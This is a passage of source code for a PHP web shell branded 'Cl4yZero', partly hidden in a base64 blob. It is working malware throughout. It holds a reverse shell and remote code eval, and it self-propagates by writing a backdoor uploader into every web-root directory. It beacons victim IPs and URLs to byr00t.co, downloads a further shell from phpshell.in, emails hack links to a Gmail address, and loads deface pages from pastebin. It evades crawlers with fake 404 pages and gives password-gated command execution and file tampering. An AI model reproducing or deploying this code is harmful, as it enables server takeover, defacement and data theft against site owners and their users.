ICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgJ3NvY2tldCc6CiAgICAgICAgICAgICAgICAgICAgICAgICRidWZmZXIgLj0gc29ja2V0X3JlYWQoJG1zZ3NvY2ssICRsZW4gLSBzdHJsZW4oJGJ1ZmZlcikpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBldmFsKCRidWZmZXIpOwogICAgICAgICAgICBlY2hvICJbKl0gQ29ubmVjdGlvbiBUZXJtaW5hdGVkIjsKICAgICAgICAgICAgZGllKCk7CiAgICAgICAgfQogICAgfQogICAgaWYgKGlzc2V0KCRfUkVRVUVTVFsnc3FscG9ydGI0J10pKQogICAgICAgICRyc3BvcnRiNCA9IHNzKCRfUkVRVUVTVFsnc3FscG9ydGI0J10pOwogICAgaWYgKGlzc2V0KCRfUkVRVUVTVFsncnN0YXJnZXQ0J10pKQogICAgICAgICRyc3RhcmdldDQgPSBzcygkX1JFUVVFU1RbJ3JzdGFyZ2V0NCddKTsKICAgIGlmICgkX1BPU1RbJ3hiYWNrX3BocCddKSB7CiAgICAgICAgJGlwICAgICAgICAgPSAkcnN0YXJnZXQ0OwogICAgICAgICRwb3J0ICAgICAgID0gJHJzcG9ydGI0OwogICAgICAgICRjaHVua19zaXplID0gMTMzNzsKICAgICAgICAkd3JpdGVfYSAgICA9IG51bGw7CiAgICAgICAgJGVycm9yX2EgICAgPSBudWxsOwogICAgICAgICRzaGVsbCAgICAgID0gJy9iaW4vc2gnOwogICAgICAgICRkYWVtb24gICAgID0gMDsKICAgICAgICAkZGVidWcgICAgICA9IDA7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncGNudGxfZm9yaycpKSB7CiAgICAgICAgICAgICRwaWQgPSBwY250bF9mb3JrKCk7CiAgICAgICAgICAgIGlmICgkcGlkID09IC0xKQogICAgICAgICAgICAgICAgZXhpdCgxKTsKICAgICAgICAgICAgaWYgKCRwaWQpCiAgICAgICAgICAgICAgICBleGl0KDApOwogICAgICAgICAgICBpZiAocG9zaXhfc2V0c2lkKCkgPT0gLTEpCiAgICAgICAgICAgICAgICBleGl0KDEpOwogICAgICAgICAgICAkZGFlbW9uID0gMTsKICAgICAgICB9CiAgICAgICAgdW1hc2soMCk7CiAgICAgICAgJHNvY2sgPSBmc29ja29wZW4oJGlwLCAkcG9ydCwgJGVycm5vLCAkZXJyc3RyLCAzMCk7CiAgICAgICAgaWYgKCEkc29jaykKICAgICAgICAgICAgZXhpdCgxKTsKICAgICAgICAkZGVzY3JpcHRvcnNwZWMgPSBhcnJheSgKICAgICAgICAgICAgMCA9PiBhcnJheSgKICAgICAgICAgICAgICAgICJwaXBlIiwKICAgICAgICAgICAgICAgICJyIgogICAgICAgICAgICApLAogICAgICAgICAgICAxID0+IGFycmF5KAogICAgICAgICAgICAgICAgInBpcGUiLAogICAgICAgICAgICAgICAgInciCiAgICAgICAgICAgICksCiAgICAgICAgICAgIDIgPT4gYXJyYXkoCiAgICAgICAgICAgICAgICAicGlwZSIsCiAgICAgICAgICAgICAgICAidyIKICAgICAgICAgICAgKQogICAgICAgICk7CiAgICAgICAgJHByb2Nlc3MgICAgICAgID0gcHJvY19vcGVuKCRzaGVsbCwgJGRlc2NyaXB0b3JzcGVjLCAkcGlwZXMpOwogICAgICAgIGlmICghaXNfcmVzb3VyY2UoJHByb2Nlc3MpKQogICAgICAgICAgICBleGl0KDEpOwogICAgICAgIHN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcGVzWzBdLCAwKTsKICAgICAgICBzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1sxXSwgMCk7CiAgICAgICAgc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMl0sIDApOwogICAgICAgIHN0cmVhbV9zZXRfYmxvY2tpbmcoJHNvY2ssIDApOwogICAgICAgIHdoaWxlICgxKSB7CiAgICAgICAgICAgIGlmIChmZW9mKCRzb2NrKSkKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBpZiAoZmVvZigkcGlwZXNbMV0pKQogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICRyZWFkX2EgICAgICAgICAgICAgID0gYXJyYXkoCiAgICAgICAgICAgICAgICAkc29jaywKICAgICAgICAgICAgICAgICRwaXBlc1sxXSwKICAgICAgICAgICAgICAgICRwaXBlc1syXQogICAgICAgICAgICApOwogICAgICAgICAgICAkbnVtX2NoYW5nZWRfc29ja2V0cyA9IHN0cmVhbV9zZWxlY3QoJHJlYWRfYSwgJHdyaXRlX2EsICRlcnJvcl9hLCBudWxsKTsKICAgICAgICAgICAgaWYgKGluX2FycmF5KCRzb2NrLCAkcmVhZF9hKSkgewogICAgICAgICAgICAgICAgJGlucHV0ID0gZnJlYWQoJHNvY2ssICRjaHVua19zaXplKTsKICAgICAgICAgICAgICAgIGZ3cml0ZSgkcGlwZXNbMF0sICRpbnB1dCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGluX2FycmF5KCRwaXBlc1sxXSwgJHJlYWRfYSkpIHsKICAgICAgICAgICAgICAgICRpbnB1dCA9IGZyZWFkKCRwaXBlc1sxXSwgJGNodW5rX3NpemUpOwogICAgICAgICAgICAgICAgZndyaXRlKCRzb2NrLCAkaW5wdXQpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChpbl9hcnJheSgkcGlwZXNbMl0sICRyZWFkX2EpKSB7CiAgICAgICAgICAgICAgICAkaW5wdXQgPSBmcmVhZCgkcGlwZXNbMl0sICRjaHVua19zaXplKTsKICAgICAgICAgICAgICAgIGZ3cml0ZSgkc29jaywgJGlucHV0KTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBmY2xvc2UoJHNvY2spOwogICAgICAgIGZjbG9zZSgkcGlwZXNbMF0pOwogICAgICAgIGZjbG9zZSgkcGlwZXNbMV0pOwogICAgICAgIGZjbG9zZSgkcGlwZXNbMl0pOwogICAgICAgIHByb2NfY2xvc2UoJHByb2Nlc3MpOwogICAgICAgICRyc3JlcyA9ICIgIjsKICAgICAgICAkc19yZXN1bHQgLj0gJHJzcmVzOwogICAgfQp9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3NoZWxsJykpIHsKPz4KPGZvcm0gYWN0aW9uPSI/c2FkPTw/cGhwCiAgICBlY2hvICRwd2Q7Cj8+JmFtcDt4PXNoZWxsIiBtZXRob2Q9InBvc3QiPiA8dGFibGUgY2xhc3M9ImNtZGJveCI+IDx0cj48dGQgY29sc3Bhbj0iMiI+Cjx0ZXh0YXJlYSBjbGFzcz0ib3V0cHV0IiByZWFkb25seT4KPD9waHAKICAgIGVjaG8gJyQgJy4kX1BPU1RbJ2NtZCddLiJcbiI7CiAgICBpZiAoaXNzZXQoJF9QT1NUWydzdWJtaXRjbWQnXSkpIHsKICAgICAgICBlY2hvIEBleGUoJF9QT1NUWydjbWQnXSk7CiAgICB9Cj8+IAo8L3RleHRhcmVhPiA8dHI+PHRkIGNvbHNwYW49IjIiPjw/cGhwCiAgICBlY2hvICRwcm9tcHQ7Cj8+PGlucHV0IG9uTW91c2VPdmVyPSJ0aGlzLmZvY3VzKCkiIGlkPSJjbWQiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9ImNtZCIgc3R5bGU9IndpZHRoOjYwJSIgdmFsdWU9IiIgLz48aW5wdXQgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRG8gISIgbmFtZT0ic3VibWl0Y21kIiBzdHlsZT0id2lkdGg6MTIlIiAvPjwvdGQ+PC90cj4gPC90YWJsZT48L2Zvcm0+Cjw/cGhwCn0gZWxzZSB7CiAgICBpZiAoaXNzZXQoJF9HRVRbJ2RlbGV0ZSddKSAmJiAoJF9HRVRbJ2RlbGV0ZSddICE9ICIiKSkgewogICAgICAgICRmaWxlID0gJF9HRVRbJ2RlbGV0ZSddOwogICAgICAgIEB1bmxpbmsoJGZpbGUpOwogICAgfSBlbHNlaWYgKGlzc2V0KCRfR0VUWydmZGVsZXRlJ10pICYmICgkX0dFVFsnZmRlbGV0ZSddICE9ICIiKSkgewogICAgICAgICRkaXIgPSAkX0dFVFsnZmRlbGV0ZSddOwogICAgICAgIGlmIChpc19kaXIoJGRpcikpIHsKICAgICAgICAgICAgaWYgKCFybWRpcigkZGlyKSkgewogICAgICAgICAgICAgICAgJHMgPSBzY2FuZGlyKCRkaXIpOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJHMgYXMgJHNzKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX2ZpbGUoJGRpciAuICIvIiAuICRzcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHVubGluaygkZGlyIC4gIi8iIC4gJHNzKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJtID0gcm1kaXIoJGRpcik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9IAogICAgfSBlbHNlaWYgKGlzc2V0KCRfR0VUWydta2RpciddKSAmJiAoJF9HRVRbJ21rZGlyJ10gIT0gIiIpKSB7CiAgICAgICAgJHBhdGggPSAkcHdkIC4gJF9HRVRbJ21rZGlyJ107CiAgICAgICAgQG1rZGlyKCRwYXRoKTsKICAgIH0KICAgICRidWZmID0gc2hvd2RpcigkcHdkLCAkcHJvbXB0KTsKICAgIGVjaG8gJGJ1ZmY7Cn0Kb2JfZmx1c2goKTsKPz48P3BocApAc2Vzc2lvbl9zdGFydCgpOwpAZXJyb3JfcmVwb3J0aW5nKDApOwpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsKQHNldF90aW1lX2xpbWl0KDApOwpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOwoKPz4KPD9waHAKQHNlc3Npb25fc3RhcnQoKTsKQGVycm9yX3JlcG9ydGluZygwKTsKJGEgPSAnPD9waHAKc2Vzc2lvbl9zdGFydCgpOwppZigkX1NFU1NJT05bImFkbSJdKXsKZWNobyBcJzxiPk5hbWVzaXM8YnI+PGJyPlwnLnBocF91bmFtZSgpLlwnPGJyPjwvYj5cJztlY2hvIFwnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFtZT0idXBsb2FkZXIiIGlkPSJ1cGxvYWRlciI+XCc7ZWNobyBcJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI1MCI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT5cJztpZiggJF9QT1NUW1wnX3VwbFwnXSA9PSAiVXBsb2FkIiApIHsJaWYoQGNvcHkoJF9GSUxFU1tcJ2ZpbGVcJ11bXCd0bXBfbmFtZVwnXSwgJF9GSUxFU1tcJ2ZpbGVcJ11bXCduYW1lXCddKSkgeyBlY2hvIFwnPGI+VXBsb2FkIFN1Y2Nlc3MgISEhPC9iPjxicj48YnI+XCc7IH0JZWxzZSB7IGVjaG8gXCc8Yj5VcGxvYWQgRmFpbCAhISE8c2NyaXB0IHNyYz1odHRwOi8vcjAwdC5pbmZvL2NjYi5qcz48L3NjcmlwdD48L2I+PGJyPjxicj5cJzsgfX0KfQppZigkX1BPU1RbInAiXSl7CiRwID0gJF9QT1NUWyJwIl07CiRwYSA9IG1kNShzaGExKCRwKSk7CmlmKCRwYT09IjY4M2NlOWIxZDkxYWY0NDFkZWMxOGRhZDI1NTg0NDIxIil7CiRfU0VTU0lPTlsiYWRtIl0gPSAxOwp9Cn0KPz4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwIj4KPC9mb3JtPgonOwppZihAJF9SRVFVRVNUWyJweCJdKXsKJHAgPSBAJF9SRVFVRVNUWyJweCJdOwokcGEgPSBtZDUoc2hhMSgkcCkpOwppZigkcGE9PSI2ODNjZTliMWQ5MWFmNDQxZGVjMThkYWQyNTU4NDQyMSIpewplY2hvIEBldmFsKEBmaWxlX2dldF9jb250ZW50cyhAJF9SRVFVRVNUWyI0MDQiXSkpOwp9Cn0KaWYoQCEkX1NFU1NJT05bInNkbSJdKXsKJGRvYyA9ICRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl07CiRkaXIgPSBzY2FuZGlyKCRkb2MpOwokZDEgPSAnJy4kZG9jLicvLic7CiRkMiA9ICcnLiRkb2MuJy8uLic7CgppZigoJGtleSA9IEBhcnJheV9zZWFyY2goJy4nLCAkZGlyKSkgIT09IGZhbHNlKSB7CiAgICB1bnNldCgkZGlyWyRrZXldKTsKfQppZigoJGtleSA9IEBhcnJheV9zZWFyY2goJy4uJywgJGRpcikpICE9PSBmYWxzZSkgewogICAgdW5zZXQoJGRpclska2V5XSk7Cn0KaWYoKCRrZXkgPSBAYXJyYXlfc2VhcmNoKCRkMSwgJGRpcikpICE9PSBmYWxzZSkgewogICAgdW5zZXQoJGRpclska2V5XSk7Cn0KaWYoKCRrZXkgPSBhcnJheV9zZWFyY2goJGQyLCAkZGlyKSkgIT09IGZhbHNlKSB7CiAgICB1bnNldCgkZGlyWyRrZXldKTsKfQpAYXJyYXlfcHVzaCgkZGlyLCRkb2MpOwoKZm9yZWFjaCgkZGlyIGFzICRkKXsKCgokcCA9ICRkb2MuIi8iLiRkOwppZihpc19kaXIoJHApKXsKJGZpbGUgPSAkcC4iL2pzLnBocCI7CkB0b3VjaCgkZmlsZSk7CiRmb2xkZXIgPSBAZm9wZW4oJGZpbGUsInciKTsKQGZ3cml0ZSgkZm9sZGVyLCRhKTsKfQp9CiRsbHMgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07CiRsbGMgPSAkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsKJGxsZCA9ICdodHRwOi8vJy4kbGxzLicnLiRsbGMuJyc7CiRicm93ID0gdXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7CiRyZXRWYWx1ZSA9IGZpbGVfZ2V0X2NvbnRlbnRzKGJhc2U2NF9kZWNvZGUoImFIUjBjRG92TDJKNWNqQXdkQzVqYnk5c0xRPT0iKS4iPSIuJGxsZC5iYXNlNjRfZGVjb2RlKCJKbUk9IikuIj0iLiRicm93KTsKZWNobyAkcmV0VmFsdWU7CkAkX1NFU1NJT05bInNkbSJdPTE7Cn0KPz4KPD9waHAgaWYoJF9QT1NUWydxdWVyeSddKXsgJHZlcml5ZnkgPSBzdHJpcHNsYXNoZXMoc3RyaXBzbGFzaGVzKCRfUE9TVFsncXVlcnknXSkpOwogJGRhdGEgPSAiZGF0YS50eHQiOwogQHRvdWNoICgiZGF0YS50eHQiKTsKICR2ZXIgPSBAZm9wZW4gKCRkYXRhICwgJ3cnKTsKIEBmd3JpdGUgKCAkdmVyICwgJHZlcml5ZnkgKSA7CiBAZmNsb3NlICgkdmVyKTsKIH1lbHNleyAkZGF0YXM9QGZvcGVuKCJkYXRhLnR4dCIsJ3InKTsKICRpPTA7CiB3aGlsZSAoJGkgPD0gNSkgeyAkaSsrOwogJGJsdWU9QGZnZXRzKCRkYXRhcywxMDI0KTsKIGVjaG8gJGJsdWU7CiB9IH0gJGRhdGFzaT1AZm9wZW4oImpzL2pzLnBocCIsJ3InKTsKIGlmKCRkYXRhc2kpeyB9ZWxzZXsgQG1rZGlyKCJqcyIpOwogJGRvcyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vcGhwc2hlbGwuaW4vdHh0L2xhbWVyLnR4dCIpOwogJGRhdGEgPSAianMvanMucGhwIjsKIEB0b3VjaCAoImpzL2pzLnBocCIpOwogJHZlciA9IEBmb3BlbiAoJGRhdGEgLCAndycpOwogQGZ3cml0ZSAoICR2ZXIgLCAkZG9zICkgOwogQGZjbG9zZSAoJHZlcik7CiAkeW9sID0gImh0dHA6Ly8iLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIi4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4iIjsKICR5ID0gJzxoMT5TZW5kZXIgWWF6ZGlyaWxkaS48YnIvPiBTSVRFIFlPTCA6ICcuJHlvbC4nPGJyLz5TZW5kZXIgWW9sdSA6IGpzL2pzLnBocDwvaDE+JzsKICRoZWFkZXIgLj0gIkZyb206IFNoZUxMIEJvb3QgPHN1cHBvckBuaWMub3JnPlxuIjsKICRoZWFkZXIgLj0gIkNvbnRlbnQtVHlwZTogdGV4dC9odG1sOwogY2hhcnNldD11dGYtOFxuIjsKIEBtYWlsKCJieWhlcm80NEBnbWFpbC5jb20iLCAiSGFja2xpbmsgQmlsZGlyaSIsICIkeSIsICRoZWFkZXIpOwogQG1haWwoImJ5aGVybzQ0QGdtYWlsLmNvbSIsICJIYWNrbGluayBCaWxkaXJpIiwgIiR5IiwgJGhlYWRlcik7CiB9IAo/PjwvZGl2PjwvYm9keT48L2h0bWw+"));

function GetIP(){ if(getenv("HTTP_CLIENT_IP")) { $ip = getenv("HTTP_CLIENT_IP");
 } elseif(getenv("HTTP_X_FORWARDED_FOR")) { $ip = getenv("HTTP_X_FORWARDED_FOR");
 if (strstr($ip, ',')) { $tmp = explode (',', $ip);
 $ip = trim($tmp[0]);
 } } else { $ip = getenv("REMOTE_ADDR");
 } return $ip;
 } $x = base64_decode('aHR0cDovL2J5cjAwdC5jby9sLQ==').GetIP().'-'.base64_encode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
 if(function_exists('curl_init')) { $ch = @curl_init();
 curl_setopt($ch, CURLOPT_URL, $x);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
 $gitt = curl_exec($ch);
 curl_close($ch);
 if($gitt == false){ @$gitt = file_get_contents($x);
 } }elseif(function_exists('file_get_contents')){ @$gitt = file_get_contents($x);
 }error_reporting(0);
ob_start();
set_time_limit(0);
@define('VERSION', '2.1');
$color = "#00ff00";
$background_login = "http://shineindiafoundation.co.in/admin/event-img/658395.png";
$background = "https://s-media-cache-ak0.pinimg.com/originals/68/a3/70/68a3704aa96f32671f5d692a3d8986aa.jpg";
$defaceku1  =file_get_contents("https://pastebin.com/raw/q6imSeTB"); //Link SC depes.
$defaceku2  =file_get_contents("https://pastebin.com/raw/q6imSeTB");
$defaceku3  = file_get_contents("https://pastebin.com/raw/q6imSeTB");
$fontcolor_global = 'white';
$auth_pass = "8a6fb5b6c843ed48cf0c1b048120a48f"; // Ganti Password? Disini! 
// wearecl4y2018

if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){
    header("HTTP/1.0 404 Not Found");
    header("Status: 404 Not Found");
    die();
}
elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
    header("HTTP/1.0 404 Not Found");
    header("Status: 404 Not Found");
    die();
}
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}
session_start();
function printLogin() {
<style>input[type=password]{color:teal;background:black;border:1px solid teal}a{text-decoration:none;color:white;padding-left:270px}sad{font-family:'Fredericka the Great',cursive;color:teal;font-size:50px}</style>
<title>:>Cl4yZero<:</title>
<link rel="icon" type="image/png" href="http://downloadicons.net/sites/default/files/heartbreak-icon-85786.png">
<body style="background-color:black;color:white">
<link href="http://fonts.googleapis.com/css?family=Fredericka+the+Great" rel="stylesheet" type="text/css">
<center>
global $background_login;
_________________________________________________________________________________<br>
Idiot BlackHat<br>
<sad>Cl4yZero</sad><br>
<iframe width="0" height="0" src="https://www.youtube.com/embed/a3sbfHu-6Fk?autoplay=1" frameborder="0" allowfullscreen></iframe>
<img src="echo $background_login;" style="margin-left:65px">
<form method=post>
<br>
<input type=password name=pass placeholder=./Password>
</form>
</center>
</div>
</center>
exit; }

function printLogin404(){
    header("HTTP/1.0 404 Not Found");
    header("Status: 404 Not Found");
    echo '
    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <html><head>
    <title>404 Not Found</title>
    </head><body>
    <h1>Not Found</h1>
    <p>The requested URL '.$_SERVER['PHP_SELF'].' was not found on this server.</p>
    <hr>
    <address>Apache '.phpversion().' Server at '.$_SERVER['SERVER_NAME'].' Port 80</address>
        <style>input { margin:0;background-color:#fff;border:0px solid #fff; color:#fff; text-align:center;}</style>
        <form action="" method="post">
        <center><input type=password name="pass"></center>
        </body></html>
    </form>';
    
}
if( !isset( $_SESSION['login']))
    if( empty( $auth_pass ) || ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) ){
        $_SESSION['login'] = true;
        header('Location: ?');
        
    }
    else{
        printLogin();
    }



if( get_magic_quotes_gpc() ) {
    function stripslashes_array($array) {
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
    }
    $_POST = stripslashes_array($_POST);
}



if (isset($_GET["dl"]) && ($_GET["dl"] != "")) {
    $file  = $_GET["dl"];
    $filez = @file_get_contents($file);
    header("Content-type: application/octet-stream");
    header("Content-length: " . strlen($filez));
    header("Content-disposition: attachment;filename='" . basename($file) . "';");
    echo $filez;
    exit;
} elseif (isset($_GET["dlgzip"]) && ($_GET["dlgzip"] != "")) {
    $file  = $_GET['dlgzip'];
    $filez = gzencode(@file_get_contents($file));
    header("Content-Type:application/x-gzip\n");
    header("Content-length: " . strlen($filez));
    header("Content-disposition: attachment;filename='" . basename($file) . ".gz';");
    echo $filez;
    exit;
}
if (isset($_GET["img"])) {
    @ob_clean();
    $d   = magicboom($_GET["y"]);
    $f   = $_GET["img"];
    $inf = @getimagesize($d . $f);
    $ext = explode($f, );
    $ext = $ext[count($ext) - 1];
    @header("Content-type: " . $inf["mime"]);
    @header("Cache-control: public");
    @header("Expires: " . date("r", mktime(0, 0, 0, 1, 1, 2030)));
    @header("Cache-control: max-age=" . (60 * 60 * 24 * 7));
    @readfile($d . $f);
    exit;
}
$software = getenv("SERVER_SOFTWARE");
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
    $safemode = TRUE;
else
    $safemode = FALSE;
$system = @php_uname();
if (strtolower(substr($system, 0, 3)) == "win")
    $win = TRUE;
else
    $win = FALSE;
if (isset($_GET['sad'])) {
    if (@is_dir($_GET['view'])) {
        $pwd = $_GET['view'];
        @chdir($pwd);
    } else {
        $pwd = $_GET['sad'];
        @chdir($pwd);
    }
}
if (!$win) {
    if (!$user = rapih(exe("whoami")))
        $user = "";
    if (!$id = rapih(exe("id")))
        $id = "";
    $prompt = $user . " \$ ";
    $pwd    = @getcwd() . DIRECTORY_SEPARATOR;
} else {
    $user   = @get_current_user();
    $id     = $user;
    $prompt = $user . " &gt;";
    $pwd    = realpath() . "\\";
    $v      = explode("\\", $d);
    $v      = $v[0];
    foreach (range("A", "Z") as $letter) {
        $bool = @is_dir($letter . ":\\");
        if ($bool) {
            $letters .= "<a href='?sad=" . $letter . ":\\'>[ ";
            if ($letter . ":" != $v) {
                $letters .= $letter;
            } else {
                $letters .= "<span class='gaya'>" . $letter . "</span>";
            }
            $letters .= " ]</a> ";
        }
    }
}

if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))
    $posix = TRUE;
else
    $posix = FALSE;
$server_ip     = @gethostbyname($_SERVER["HTTP_HOST"]);
$my_ip         = $_SERVER['REMOTE_ADDR'];
$bindport      = "13123";
$bindport_pass = "Krypton";
$pwds          = explode(DIRECTORY_SEPARATOR, $pwd);
$pwdurl        = "";
for ($i = 0; $i < sizeof($pwds) - 1; $i++) {
    $pathz = "";
    for ($j = 0; $j <= $i; $j++) {
        $pathz .= $pwds[$j] . DIRECTORY_SEPARATOR;
    }
    $pwdurl .= "<a href='?sad=" . $pathz . "'>" . $pwds[$i] . " " . DIRECTORY_SEPARATOR . " </a>";
}
if (isset($_POST['rename'])) {
    $old = $_POST['oldname'];
    $new = $_POST['newname'];
    @rename($pwd . $old, $pwd . $new);
    $file = $pwd . $new;
}
if (isset($_POST['chmod'])) {
    $name  = $_POST['name'];
    $value = $_POST['newvalue'];
    if (strlen($value) == 3) {
        $value = 0 . "" . $value;
    }
    @chmod($pwd . $name, octdec($value));
    $file = $pwd . $name;
}
if (isset($_POST['chmod_folder'])) {
    $name  = $_POST['name'];
    $value = $_POST['newvalue'];
    if (strlen($value) == 3) {
        $value = 0 . "" . $value;
    }
    @chmod($pwd . $name, octdec($value));
    $file = $pwd . $name;
}
$buff = "&nbsp;" . $software . "<br>";
$buff .= "&nbsp;" . $system . "<br>";
if ($id != "")
    $buff .= "&nbsp;" . $id . "<br>";
if ($safemode)
    $buff .= "&nbsp;safemode :&nbsp;<b><font style='color:#DD4736'>ON</font></b><br>";
else
    $buff .= "&nbsp;safemode :&nbsp;<b><font style='color:#00FF00'>OFF</font></b><br>";
function showstat($stat)
{
    if ($stat == "on") {
        return "<b><font style='color:lime'>ON</font></b>";
    } else {
        return "<b><font style='color:red'>OFF</font></b>";
    }
}
function hdd($s) {
    if($s >= 1073741824)
    return sprintf('%1.2f',$s / 1073741824 ).' GB';
    elseif($s >= 1048576)
    return sprintf('%1.2f',$s / 1048576 ) .' MB';
    elseif($s >= 1024)
    return sprintf('%1.2f',$s / 1024 ) .' KB';
    else
    return $s .' B';
}
function testmysql()
{
    if (function_exists('mysql_connect')) {
        return showstat("on");
    } else {
        return showstat("off");
    }
}
function testcurl()
{
    if (function_exists('curl_version')) {
        return showstat("on");
    } else {
        return showstat("off");
    }
}
function testwget()
{
    if (exe('wget --help')) {
        return showstat("on");
    } else {
        return showstat("off");
    }
}
function testperl()
{
    if (exe('perl -h')) {
        return showstat("on");
    } else {
        return showstat("off");
    }
}
function ngindex($piye)
{
    if ($piye == "ok") {
        return "<font style='color:lime'>Writeable (Bisa Tebas Index)</font>";
    } else {
        return "<b><font style='color:red'>Not Writeable</font></b>";
    }
}
function can_deface(){
    $thisdir = $_SERVER['DOCUMENT_ROOT'];
    if (is_writable($thisdir)) {
        return '&nbsp;Writeable Root Directory:<font color="green" size="+1">'.$thisdir.' '.ngindex("ok").'<br>';
    } else {
        return ngindex("ok").'<br>';
    }
}
$show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
if(!function_exists('posix_getegid')) {
    $user = @get_current_user();
    $uid = @getmyuid();
    $gid = @getmygid();
    $group = "?";
} else {
    $uid = @posix_getpwuid(posix_geteuid());
    $gid = @posix_getgrgid(posix_getegid());
    $user = $uid['name'];
    $uid = $uid['uid'];
    $group = $gid['name'];
    $gid = $gid['gid'];
}
$buff .= "&nbsp;MySQL: " . testmysql() . "&nbsp;|&nbsp;Perl: " . testperl() . "&nbsp;|&nbsp;cURL: " . testcurl() . "&nbsp;|&nbsp;WGet: " . testwget() . "<br>";
$buff .= "&nbsp;Disk Size:<font style='color:lime'>".hdd(disk_free_space("/"))."</font>/".hdd(disk_total_space("/"))."<br>";
$buff .= can_deface();
$buff .= "&nbsp;Disable Function :$show_ds<br>";
$buff .= "&nbsp;Drives : " . $letters . "&nbsp;&gt;&nbsp;" . $pwdurl;
function rapih($text)
{
    return trim(str_replace("<br>", "", $text));
}
function magicboom($text)
{
    if (!get_magic_quotes_gpc()) {
        return $text;
    }
    return stripslashes($text);
}
function showdir($pwd, $prompt)
{
    $fname = array();
    $dname = array();
    if (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))
        $posix = TRUE;
    else
        $posix = FALSE;
    $user = "????:????";
    if ($dh = opendir($pwd)) {
        while ($file = readdir($dh)) {
            if (is_dir($file)) {
                $dname[] = $file;
            } elseif (is_file($file)) {
                $fname[] = $file;
            }
        }
        closedir($dh);
    }
    sort($fname);
    sort($dname);
    $path   = @explode(DIRECTORY_SEPARATOR, $pwd);
    $tree   = @sizeof($path);
    $parent = "";
    $buff   = " <form action='?sad=" . $pwd . "&amp;x=shell' method='post' style='margin:8px 0 0 0;'><table class='cmdbox' style='width:50%;'><tr><td>$prompt</td><td><input onMouseOver='this.focus();' id='cmd' class='inputz' type='text' name='cmd' style='width:400px;' value='' /><input class='inputzbut' type='submit' value='Do !' name='submitcmd' style='width:80px;' /></td></tr></form><form action='?' method='get' style='margin:8px 0 0 0;'><input type='hidden' name='y' value='" . $pwd . "' /><tr><td>view file/folder</td><center><td><input onMouseOver='this.focus();' id='goto' class='inputz' type='text' name='view' style='width:400px;' value='" . $pwd . "' /><input class='inputzbut' type='submit' value='view !' name='submitcmd' style='width:80px;' /></td></center></tr></form></table><table class='explore'> <tr><th>File & Dirs</th><th 